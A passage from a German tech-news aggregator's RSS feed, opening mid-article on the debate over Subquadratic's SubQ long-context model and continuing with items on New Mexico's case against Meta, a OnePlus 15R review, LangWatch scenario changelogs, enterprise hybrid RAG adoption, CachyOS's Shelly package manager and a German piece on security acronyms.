the cost-per-task comparisons.</p><h2><b>The AI research community's verdict ranges from 'genuine breakthrough' to 'AI Theranos'</b></h2><p>Within hours of the announcement, the AI research community erupted into a debate that crystallized around a single question: Is this real?</p><p>AI commentator <a href="https://x.com/daniel_mac8">Dan McAteer</a> captured the binary mood in a widely shared post: "SubQ is either the biggest breakthrough since the Transformer... or it's AI Theranos." The comparison to the infamous blood-testing fraud company may be unfair, but it reflects the scale of the claims being made. Skeptics zeroed in on several pressure points. Prominent AI engineer <a href="https://x.com/willdepue/status/2051740399597760626">Will Depue</a> initially noted that SubQ is "almost surely a sparse attention finetune of Kimi or DeepSeek," referring to existing open-source models.</p><p>Whedon confirmed this on X, writing that the company is "using weights from open-source models as a starting point, as a function of our funding and maturity as a company." Depue later escalated his criticism, writing that the company's O(n) scaling claims and the speedup numbers "don't seem to line up" and called the communication "either incredibly poorly communicated or just not real."</p><div></div><p>Others raised structural questions. One developer noted that if SubQ truly reduces compute by 1,000x and costs less than 5% of Opus, the company should have no trouble serving it at scale — so why gate access through an early-access program? Developer Stepan Goncharov called the benchmarks "<a href="https://x.com/stepango/status/2051726220665172475">very interesting cherry-picked benchmarks</a>," while another commenter described them as "<a href="https://x.com/stalmico/status/2051728685942648952">suspiciously perfect</a>."</p><p>But not everyone was dismissive. AI researcher <a href="https://x.com/jrysana/status/2051736187518214500">John Rysana</a> pushed back on the Theranos framing, writing that the work is "just subquadratic attention done well which is very meaningful for long context workloads," and that "odds of it being BS are extremely low." Linus Ekenstam, a tech commentator, said he was "extremely intrigued to see the real-world implications" particularly for complex AI-powered software.</p><h2><b>Magic.dev made strikingly similar claims two years ago — and then went quiet</b></h2><p>Perhaps the most pointed critique of SubQ's launch comes not from its specific claims but from recent history. Magic.dev announced a 1<a href="https://magic.dev/blog/100m-token-context-windows">00-million-token context-window model in August 2024</a>, with a claimed 1,000x efficiency advantage, and raised roughly $500 million on the strength of those claims. As of early 2026, there is no public evidence of LTM-2-mini being used outside Magic.</p><p>The parallels are uncomfortable. Both companies claimed massive context windows. Both touted roughly 1,000x efficiency gains. Both targeted software engineering as their primary use case. And both launched with limited external access.</p><p>The broader research landscape reinforces the caution. <a href="https://arxiv.org/abs/2510.26692">Kimi Linear</a>, <a href="https://github.com/deepseek-ai/DeepSeek-V3.2-Exp">DeepSeek Sparse Attention</a>, <a href="https://arxiv.org/abs/2312.00752">Mamba</a>, and <a href="https://arxiv.org/abs/2305.13048">RWKV</a> all promised subquadratic scaling, and all faced the same problem: architectures that achieve linear complexity in theory often underperform quadratic attention on downstream benchmarks at frontier scale, or they end up hybrid — mixing subquadratic layers with standard attention and losing the pure scaling benefits.</p><p>A <a href="https://www.lesswrong.com/posts/kpSXeMcthtHgnwMx3/debunking-claims-about-subquadratic-attention">widely cited LessWrong analysis</a> argued that these approaches "are all better thought of as 'incremental improvement number 93595 to the transformer architecture'" because practical implementations remain quadratic and "only improve attention by a constant factor."</p><p>Subquadratic is directly aware of this history. Its own <a href="https://subq.ai/how-ssa-makes-long-context-practical">technical blog</a> specifically addresses each prior approach — fixed-pattern sparse attention, state space models, hybrid architectures, and DeepSeek Sparse Attention — and argues that SSA avoids their tradeoffs. Whether it actually does remains an empirical question that only independent evaluation can settle.</p><h2><b>A five-time founder, a former Meta engineer, and $29 million to prove the doubters wrong</b></h2><p>The team behind the claims matters in evaluating them. CEO Justin Dangel is a five-time founder and CEO with a track record across health tech, insurancetech, and consumer goods, and his companies have scaled to hundreds of employees, attracted institutional backing, and reached liquidity. CTO Alexander Whedon previously worked as a software engineer at Meta and served as Head of Generative AI at TribeAI, where he led over 40 enterprise AI implementations.</p><p>The team includes 11 PhD researchers with backgrounds from Meta, Google, Oxford, Cambridge, ByteDance, and Adobe. That is a credible collection of talent for an architecture-level research effort. But neither co-founder has published foundational AI research, and the company has not yet released a peer-reviewed paper. The technical report is listed as "coming soon."</p><p>The funding profile is unusual for a company making frontier AI claims. Subquadratic raised $29 million at a reported $500 million valuation — a steep price for a seed-stage company with no publicly available model, no peer-reviewed research, and no disclosed revenue. The investor base, led by Tinder co-founder Mateen and former SoftBank partner Villamizar, skews toward consumer tech and growth investing rather than deep technical AI research. The company is not open-sourcing its weights but plans to offer training tools for enterprises to do their own post-training, and has set a 50-million-token context window target for Q4.</p><h2><b>The real test for SubQ isn't benchmarks — it's whether the math survives independent scrutiny</b></h2><p>Strip away the marketing language and the social media drama, and the underlying question <a href="https://subq.ai/introducing-subq">Subquadratic</a> is asking is genuinely important: Can AI systems break free of quadratic scaling without sacrificing the quality that makes them useful?</p><p>The stakes are enormous. If attention can be made truly linear without degrading retrieval and reasoning, the economics of AI shift fundamentally. Enterprise applications that today require elaborate retrieval pipelines — processing entire codebases, contracts, regulatory filings, medical records — become single-pass operations. The billions of dollars currently spent on RAG infrastructure, context management, and agentic orchestration become partially redundant. </p><p>Whedon's willingness to engage publicly with technical criticism — posting a technical blog within hours of pushback — suggests a team that understands it needs to show its work, not just describe it. And to its credit, the company acknowledged openly that it builds on open-source foundations and that its model is smaller than those at the major labs.</p><p>Every frontier model in 2026 advertises a context window of at least a million tokens, but almost none of them are actually great at making use of all that information. The gap between a nominal context window and a functional one — between what a model accepts and what it reliably reasons over — remains one of the most important unsolved problems in AI. Subquadratic says it has closed that gap. If independent evaluation confirms that claim, the implications would ripple far beyond a single startup's valuation. If it doesn't, the company joins a growing list of long-context promises that sounded revolutionary on launch day and unremarkable six months later.</p><p>In computing, every fundamental constraint eventually falls. When it does, the breakthrough never comes from the direction the industry expected. The question hanging over Subquadratic is whether a team of 11 PhDs and a $29 million seed round actually found the answer that has eluded organizations spending thousands of times more — or whether they just found a better way to describe the problem.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Mexico has a plan to overhaul Facebook and Instagram]]></title>
<description><![CDATA[Still fresh off its recent $375 million jury verdict against Meta, New Mexico attorney general Raul Torrez's office began arguing for even greater asks in the second phase of a landmark trial. On Monday, an attorney for the state, David Ackerman, pressed the court for a $3.7 billion abatement pla...]]></description>
<link>https://tsecurity.de/de/3489896/it-nachrichten/new-mexico-has-a-plan-to-overhaul-facebook-and-instagram/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3489896/it-nachrichten/new-mexico-has-a-plan-to-overhaul-facebook-and-instagram/</guid>
<pubDate>Tue, 05 May 2026 16:32:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Still fresh off its recent $375 million jury verdict against Meta, New Mexico attorney general Raul Torrez's office began arguing for even greater asks in the second phase of a landmark trial. On Monday, an attorney for the state, David Ackerman, pressed the court for a $3.7 billion abatement plan that would require Meta to […]]]></content:encoded>
</item>
<item>
<title><![CDATA[OnePlus 15R Review - 7,400mAh Battery Beast BUT It's Missing THIS Major Feature]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 169x - Views:3718 The OnePlus 15R has one of the BIGGEST batteries I’ve ever tested in a phone… and yeah, it kinda blew me away 😳

But is it actually worth $699? Or are there too many tradeoffs?

After testing this phone for a couple of months, I’m breaking down...]]></description>
<link>https://tsecurity.de/de/3489419/videos/oneplus-15r-review-7400mah-battery-beast-but-its-missing-this-major-feature/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3489419/videos/oneplus-15r-review-7400mah-battery-beast-but-its-missing-this-major-feature/</guid>
<pubDate>Tue, 05 May 2026 13:47:46 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 169x - Views:3718 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0s-ShWq90F0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The OnePlus 15R has one of the BIGGEST batteries I’ve ever tested in a phone… and yeah, it kinda blew me away 😳<br />
<br />
But is it actually worth $699? Or are there too many tradeoffs?<br />
<br />
After testing this phone for a couple of months, I’m breaking down everything you need to know - from battery life and performance to cameras, gaming, and real-world use.<br />
<br />
In this full review, I’m breaking down:<br />
🔋 Real-world battery life tests<br />
⚡ 80W SUPERVOOC charging performance<br />
🎮 Snapdragon 8 Gen 5 gaming benchmarks<br />
📊 3DMark + Geekbench results<br />
📱 165Hz AMOLED display impressions<br />
📸 Camera quality - and what’s missing<br />
💧 IP66 / IP68 / IP69 durability<br />
🤖 OxygenOS 16 + AI features<br />
📶 WiFi 7, Bluetooth 6.0, connectivity<br />
<br />
This phone brings serious competition to devices like the Google Pixel 10a, iPhone 17e, and Nothing Phone 3. The battery and performance? Excellent. The cameras? Some caveats.<br />
<br />
Would I recommend it over its competition? Watch the full review to find out 👀<br />
<br />
If you enjoy in-depth tech reviews that mix real-world testing with specs that actually matter, make sure to subscribe so YouTube doesn’t throw random cat videos into your feed instead.<br />
<br />
🕒 Chapters<br />
 OnePlus 15R First Impressions<br />
01:12 7,400mAh Battery Test Results<br />
03:02 Charging Speeds - What You Don’t Get<br />
04:05 Snapdragon 8 Gen 5 Performance<br />
06:40 Gaming Test - Genshin Impact<br />
08:10 3DMark & Geekbench Results<br />
09:15 6.83” 165Hz AMOLED Display<br />
11:02 Durability & Build Quality<br />
13:05 Camera Test - Day & Night<br />
17:40 Selfie Camera Upgrade<br />
19:05 What’s Missing (Telephoto)<br />
20:22 OxygenOS 16 + AI Features<br />
22:30 Connectivity & Audio<br />
23:35 Final Verdict - Worth $699?<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUPPORT MY WORK <br />
PATREON 💛 https://www.patreon.com/ShannonMorse<br />
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs<br />
MY SHOP 💛 https://shannonrmorse.com/shop<br />
SPRING SHOP 💛 https://morsecode.creator-spring.com/<br />
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
 <br />
FOLLOW THE SOCIALS THINGS<br />
THREADS 🌸  https://www.threads.net/@snubs<br />
INSTAGRAM 🌸  http://www.instagram.com/snubs<br />
TIKTOK 🌸  https://tiktok.com/@snubsie<br />
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
WEBSITE 🌸 https://www.morsecodecreative.com/<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
TECH I USE AND RECOMMEND<br />
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse<br />
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse<br />
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
MY OTHER SHOWS<br />
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured <br />
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com<br />
My Media Kit ✈ https://shannonrmorse.com/work-with-me <br />
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.23]]></title>
<description><![CDATA[0.7.23 (2026-04-08)
Bug Fixes

force verdict on judge discovery exhaustion instead of hard-failing (#315) (197f567)
judge off-by-one, auto-run on script exhaustion, assertion criteria, marathon_script cleanup (#289) (91f76d1)]]></description>
<link>https://tsecurity.de/de/3487937/it-security-tools/python-v0723/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487937/it-security-tools/python-v0723/</guid>
<pubDate>Tue, 05 May 2026 02:32:25 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.22...python/v0.7.23">0.7.23</a> (2026-04-08)</h2>
<h3>Bug Fixes</h3>
<ul>
<li>force verdict on judge discovery exhaustion instead of hard-failing (<a href="https://github.com/langwatch/scenario/issues/315" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/315/hovercard">#315</a>) (<a href="https://github.com/langwatch/scenario/commit/197f5673cfa4147c10b368ae095842b043026d8c">197f567</a>)</li>
<li>judge off-by-one, auto-run on script exhaustion, assertion criteria, marathon_script cleanup (<a href="https://github.com/langwatch/scenario/issues/289" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/289/hovercard">#289</a>) (<a href="https://github.com/langwatch/scenario/commit/91f76d128a5d8c0cbe5c6b00337f279b4890ea57">91f76d1</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.4.10]]></title>
<description><![CDATA[0.4.10 (2026-04-10)
Bug Fixes

default scenarioSetId to 'default' for all events (#305) (7bbc8c6)
default scenarioSetId to "default" when not provided (7bbc8c6), closes #304
force verdict on judge discovery exhaustion instead of hard-failing (#315) (197f567)
judge off-by-one, auto-run on script e...]]></description>
<link>https://tsecurity.de/de/3487936/it-security-tools/javascript-v0410/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487936/it-security-tools/javascript-v0410/</guid>
<pubDate>Tue, 05 May 2026 02:32:23 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.4.9...javascript/v0.4.10">0.4.10</a> (2026-04-10)</h2>
<h3>Bug Fixes</h3>
<ul>
<li>default scenarioSetId to 'default' for all events (<a href="https://github.com/langwatch/scenario/issues/305" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/305/hovercard">#305</a>) (<a href="https://github.com/langwatch/scenario/commit/7bbc8c63137f920f880d4bd099516e745aa7e386">7bbc8c6</a>)</li>
<li>default scenarioSetId to "default" when not provided (<a href="https://github.com/langwatch/scenario/commit/7bbc8c63137f920f880d4bd099516e745aa7e386">7bbc8c6</a>), closes <a href="https://github.com/langwatch/scenario/issues/304" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/304/hovercard">#304</a></li>
<li>force verdict on judge discovery exhaustion instead of hard-failing (<a href="https://github.com/langwatch/scenario/issues/315" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/315/hovercard">#315</a>) (<a href="https://github.com/langwatch/scenario/commit/197f5673cfa4147c10b368ae095842b043026d8c">197f567</a>)</li>
<li>judge off-by-one, auto-run on script exhaustion, assertion criteria, marathon_script cleanup (<a href="https://github.com/langwatch/scenario/issues/289" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/289/hovercard">#289</a>) (<a href="https://github.com/langwatch/scenario/commit/91f76d128a5d8c0cbe5c6b00337f279b4890ea57">91f76d1</a>)</li>
<li>revert audio model and reduce multilingual test turns (<a href="https://github.com/langwatch/scenario/issues/314" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/314/hovercard">#314</a>) (<a href="https://github.com/langwatch/scenario/commit/177cdb65c32a36263be98f3c38ff7d573cf4e3f6">177cdb6</a>)</li>
<li>revert audio model to gpt-4o-audio-preview and reduce multilingual test turns (<a href="https://github.com/langwatch/scenario/commit/177cdb65c32a36263be98f3c38ff7d573cf4e3f6">177cdb6</a>)</li>
</ul>
<h3>Miscellaneous</h3>
<ul>
<li>use gpt-5-mini everywhere, enable telemetry, fix reasoning model compat (<a href="https://github.com/langwatch/scenario/issues/311" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/311/hovercard">#311</a>) (<a href="https://github.com/langwatch/scenario/commit/2384fb263d35b7220b5ee4cbe8291295a0500ab8">2384fb2</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The retrieval rebuild: Why hybrid retrieval intent tripled as enterprise RAG programs hit the scale wall]]></title>
<description><![CDATA[Something shifted in enterprise RAG in Q1 2026. VB Pulse data spanning January through March tells a consistent story: the market stopped adding retrieval layers and started fixing the ones it already has. Call it the retrieval rebuild.The survey covered three consecutive monthly waves from organ...]]></description>
<link>https://tsecurity.de/de/3475769/it-nachrichten/the-retrieval-rebuild-why-hybrid-retrieval-intent-tripled-as-enterprise-rag-programs-hit-the-scale-wall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3475769/it-nachrichten/the-retrieval-rebuild-why-hybrid-retrieval-intent-tripled-as-enterprise-rag-programs-hit-the-scale-wall/</guid>
<pubDate>Wed, 29 Apr 2026 22:46:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Something shifted in enterprise RAG in Q1 2026. VB Pulse data spanning January through March tells a consistent story: the market stopped adding retrieval layers and started fixing the ones it already has. Call it the retrieval rebuild.</p><p>The survey covered three consecutive monthly waves from organizations with 100 or more employees, with between 45 and 58 qualified respondents per month across platform adoption, buyer intent, architecture outlook and evaluation criteria. The data should be treated as directional.</p><p>Enterprise intent to adopt hybrid retrieval tripled from 10.3% to 33.3% in a single quarter — even as 22% of qualified enterprise respondents reported having no production RAG systems at all. For data engineers and enterprise architects building agentic AI infrastructure, the data reveals a market in active transition: the RAG architecture most enterprises built to scale is not the one they expect to run by year-end. </p><p>Hybrid retrieval has become the consensus enterprise strategy. Unlike single-method RAG pipelines that rely on vector similarity alone, hybrid retrieval combines dense embeddings with sparse keyword search and reranking layers, trading simplicity for the retrieval accuracy and access control that production agentic workloads require.</p><p>The standalone vector database category is under pressure. Weaviate, Milvus, Pinecone and Qdrant each lost adoption share across the quarter in the VB Pulse data. Custom stacks and provider-native retrieval are absorbing their displaced share.</p><p>A growing minority of enterprises are stepping back from RAG altogether — a signal that the market's maturity narrative has meaningful exceptions.</p><p>Organizations that went wide on RAG in 2025 are hitting the same failure point: the architecture built for document retrieval does not hold at agentic scale. </p><h2>Enterprises that scaled RAG fast are now paying to rebuild it</h2><p>The two largest intent movements in Q1 are directly connected — enterprises confronting retrieval quality problems at scale, and hybrid retrieval emerging as the consensus answer.</p><p>Investment priorities shifted in parallel. Evaluation and relevance testing led budget intent in January at 32.8% and fell to 15.6% by March. Retrieval optimization moved in the opposite direction, from 19.0% to 28.9% — overtaking evaluation as the top growth investment area for the first time. </p><p>Steven Dickens, vice president and practice lead at HyperFRAME Research, described the operational burden enterprise data teams are facing in a VentureBeat interview in March on<a href="https://venturebeat.com/data/oracle-converges-the-ai-data-stack-to-give-enterprise-agents-a-single"> Oracle's agentic AI data stack</a>. "Data teams are exhausted by fragmentation fatigue," Dickens said. "Managing a separate vector store, graph database and relational system just to power one agent is a DevOps nightmare."</p><p>That fatigue shows directly in the platform data. The custom stack rise to 35.6% is not a rejection of managed retrieval — many organizations run both. It is a consolidation response from engineering teams that have hit the limits of assembling too many components.</p><p>Not every enterprise has made it that far. The VB Pulse data includes a signal that complicates the market's overall growth narrative: 22.2% of qualified respondents reported no production RAG by March, up from 8.6% in January.  The report attributes this cohort to organizations that have "not yet committed to any retrieval infrastructure, or have paused programs" — concentrated in Healthcare, Education and Government, the same sectors showing the highest rates of flat budgets.</p><div></div><h2>Standalone vector databases are losing the adoption argument but winning the reliability one</h2><p>Recent reporting by VentureBeat illustrates why the dedicated retrieval layer still matters in production. </p><p>Two enterprises building on Qdrant show why purpose-built vector infrastructure still wins in production.</p><p> &amp;AI builds patent litigation infrastructure and runs semantic search across hundreds of millions of documents. Grounding every result in a real source document is not optional — patent attorneys will not act on AI-generated text. That requirement makes the architectural choice clear.</p><p>"The agent is the interface," Herbie Turner, &amp;AI's founder and CTO, told VentureBeat in March. "The vector database is the ground truth."</p><p>GlassDollar, a startup that helps Siemens and Mahle evaluate startups, runs an agentic retrieval pattern across a corpus approaching 10 million indexed documents. A single user prompt fans out into multiple parallel queries, each retrieving candidates from a different angle before results are combined and re-ranked. That query volume and precision requirement is what drove the choice of purpose-built vector infrastructure.</p><p>"We measure success by recall," Kamen Kanev, GlassDollar's head of product, told VentureBeat in March. "If the best companies aren't in the results, nothing else matters. The user loses trust."</p><p>The VB Pulse data shows that framing — retrieval as ground truth rather than feature — is gaining traction across the broader enterprise market, even as standalone vector database adoption declines. </p><p>Why enterprises say they need a dedicated vector layer shifted significantly across Q1. In January the top reasons were access control complexity (20.7%) and retrieval precision (19.0%). By March, operational reliability at scale had surged to 31.1% — more than doubling and overtaking everything else. Enterprises are no longer keeping vector infrastructure primarily for precision. They are keeping it because it is the part of the stack they can rely on when query volumes scale.</p><h2>How enterprises are redefining what good retrieval means</h2><p>How enterprises judge their retrieval systems shifted notably across Q1 — and the direction of that shift points to a market getting more sophisticated about what good retrieval actually means.</p><p>In January, response correctness dominated evaluation criteria at 67.2% — far above anything else. By March, response correctness (53.3%), retrieval accuracy (53.3%) and answer relevance (53.3%) had converged exactly. Getting the right answer is no longer enough if it came from the wrong document or missed the context of the question.</p><p>Answer relevance was the only criterion that rose across the quarter, gaining five percentage points. It is also the hardest to measure — whether the retrieved context is actually the right context for that specific question requires purpose-built evaluation infrastructure, not just pass-or-fail correctness checks. Its rise signals that a meaningful share of enterprise buyers have moved past basic RAG testing entirely. </p><h2>The market's verdict: RAG isn't dead. The original architecture is</h2><p>The "RAG is dead" narrative had real momentum heading into 2026. It rested on two claims. The first: that long-context windows — models capable of processing hundreds of thousands of tokens in a single prompt — would make dedicated retrieval unnecessary. The second: that agentic memory systems, which store what an agent learns across sessions rather than retrieving it fresh each time, would absorb the knowledge access problem entirely.</p><p>The VB Pulse data is the enterprise market's answer to the first claim. The long-context-as-dominant-architecture position collapsed from 15.5% in January to 3.5% in February before partially recovering to 6.7% in March. January's sample was heavily weighted toward Technology and Software respondents — the segment most exposed to long-context model announcements in late 2025. As the sample diversified, the position evaporated.</p><p>On the memory question, Jonathan Frankle, chief AI scientist at Databricks, framed the architecture clearly in a<a href="https://venturebeat.com/data/databricks-built-a-rag-agent-it-says-can-handle-every-kind-of-enterprise"> March interview</a> with VentureBeat: a vector database with millions of entries sits at the base of the agentic memory stack, too large to fit in context. The LLM context window sits at the top. Between them, new caching and compression layers are emerging — but none of them replace the retrieval layer at the base. New agentic memory systems like Hindsight, developed by Vectorize, and observational memory approaches like those in the Mastra framework address session continuity and agent context over time — a different problem than high-recall search across millions of changing enterprise documents.</p><p>The most consequential signal: the share of respondents not expecting large-scale RAG deployments by year-end grew from 3.4% to 15.6% — nearly 5x. That is not a verdict against retrieval. It is a verdict against the retrieval architecture most enterprises built first.</p><h2>The retrieval rebuild is not optional</h2><p>The retrieval rebuild is the cost of scaling RAG without first deciding what architecture could actually support it.</p><p>If your organization is among the 43.1% that entered Q1 planning to expand RAG into more workflows, the VB Pulse data suggests that plan has already changed for many of your peers — and may need to change for you. Hybrid retrieval is the consensus destination. Custom stack growth to 35.6% reflects teams building retrieval infrastructure around requirements that off-the-shelf products do not fully address.</p><p>RAG is not dead. The architecture most enterprises used to implement it is. The data suggests the rebuild is not a future decision. For 33% of enterprises, the rebuild is already the stated priority.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CachyOS April 2026: Meet Shelly, the New Package Manager That Finally Gets It Right]]></title>
<description><![CDATA[CachyOS April 2026 ships Shelly, a Rust-based GUI package manager that replaces Octopi entirely. It reads real libalpm state instead of parsing terminal output, has a live install progress panel, and deeply integrates with KDE Plasma 6.6. Here is my hands-on verdict.]]></description>
<link>https://tsecurity.de/de/3469843/linux-tipps/cachyos-april-2026-meet-shelly-the-new-package-manager-that-finally-gets-it-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3469843/linux-tipps/cachyos-april-2026-meet-shelly-the-new-package-manager-that-finally-gets-it-right/</guid>
<pubDate>Tue, 28 Apr 2026 05:35:07 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CachyOS April 2026 ships Shelly, a Rust-based GUI package manager that replaces Octopi entirely. It reads real libalpm state instead of parsing terminal output, has a live install progress panel, and deeply integrates with KDE Plasma 6.6. Here is my hands-on verdict.]]></content:encoded>
</item>
<item>
<title><![CDATA[4 Wege aus der Security-Akronymhölle]]></title>
<description><![CDATA[Gefangen im Buchstabensud?mikeledray | shutterstock.com



Vor seinen MAGA- und DOGE-Eskapaden wurde Elon Musk in erster Linie als visionärer Entrepreneur wahrgenommen. Damals, im Jahr 2010, ließ er den Mitarbeitern seines Raumfahrtunternehmens SpaceX ein Memo zukommen. Darin kritisierte er den ü...]]></description>
<link>https://tsecurity.de/de/3466768/it-security-nachrichten/4-wege-aus-der-security-akronymhoelle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3466768/it-security-nachrichten/4-wege-aus-der-security-akronymhoelle/</guid>
<pubDate>Mon, 27 Apr 2026 06:06:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/02/mikeledray_shutterstock_2454507989_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Buchstabensuppe 16z9" class="wp-image-3825041" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Gefangen im Buchstabensud?</figcaption></figure><p class="imageCredit">mikeledray | shutterstock.com</p></div>



<p>Vor seinen MAGA- und DOGE-Eskapaden wurde Elon Musk in erster Linie als visionärer Entrepreneur wahrgenommen. Damals, im Jahr 2010, ließ er den Mitarbeitern seines Raumfahrtunternehmens SpaceX <a href="https://www.verdict.co.uk/jargon-business-workplace-musk/" target="_blank" rel="noreferrer noopener">ein Memo zukommen</a>. Darin kritisierte er den übermäßigen, internen Gebrauch von Abkürzungen in gewohnt ausdrucksstarkem Stil: “Bei SpaceX gibt es eine schleichende Tendenz, erfundene Akronyme zu nutzen. Geschieht das exzessiv, wird die Kommunikation erheblich beeinträchtigt […] Niemand kann sich diese Abkürzungen merken und manche Leute wollen <a href="https://www.computerwoche.de/article/2820706/so-wirken-sie-kompetent-im-online-meetings.html" target="_blank">in Meetings nicht dumm erscheinen</a> und nehmen es einfach hin […] Das muss sofort aufhören, sonst werde ich drastische Maßnahmen ergreifen”, drohte Trumps ehemaliger Sidekick damals.</p>



<p>Tatsächlich lässt sich nicht leugnen, dass der übermäßige Gebrauch von Akronymen ein erhebliches Hindernis für präzise Kommunikation darstellen kann – insbesondere in der Cybersicherheitsbranche, denn hier steht <a href="https://www.csoonline.com/article/3577944/diese-unternehmen-hats-schon-erwischt.html" target="_blank">besonders viel auf dem Spiel</a>. Wie Akronym-überladen die Security ist, veranschaulicht <a href="https://github.com/cloudsecurelab/security-acronyms?tab=readme-ov-file" target="_blank" rel="noreferrer noopener">diese kuratierte Liste aller derzeit in Gebrauch befindlichen Security-Abkürzungen</a>. Ein (kleiner) Auszug:</p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/3494368/der-kaufratgeber-fur-breach-attack-simulation-tools.html" target="_blank">BAS</a>,</li>



<li><a href="https://www.csoonline.com/article/3812255/5-teure-threat-intelligence-fehler.html" target="_blank">CTI</a>,</li>



<li><a href="https://www.csoonline.com/article/3495864/so-funktioniert-ein-ddos-angriff.html" target="_blank">DDoS</a>,</li>



<li><a href="https://www.computerwoche.de/article/2797438/was-sie-ueber-dlp-wissen-muessen.html" target="_blank">DLP</a>,</li>



<li><a href="https://www.csoonline.com/article/3616110/edr-software-ein-kaufratgeber.html" target="_blank">EDR</a>,</li>



<li><a href="https://www.computerwoche.de/article/2763035/was-sie-ueber-iam-wissen-muessen.html" target="_blank">IAM</a>,</li>



<li><a href="https://www.csoonline.com/article/3493763/managed-detection-and-response-die-12-besten-mdr-anbieter.html" target="_blank">MDR</a>,</li>



<li><a href="https://www.csoonline.com/article/3493613/managed-security-service-provider-6-risiken-die-sie-im-blick-haben-sollten.html" target="_blank">MSSP</a>,</li>



<li><a href="https://www.csoonline.com/article/3493712/secure-access-service-edge-der-grose-sase-kaufratgeber.html" target="_blank">SASE</a>,</li>



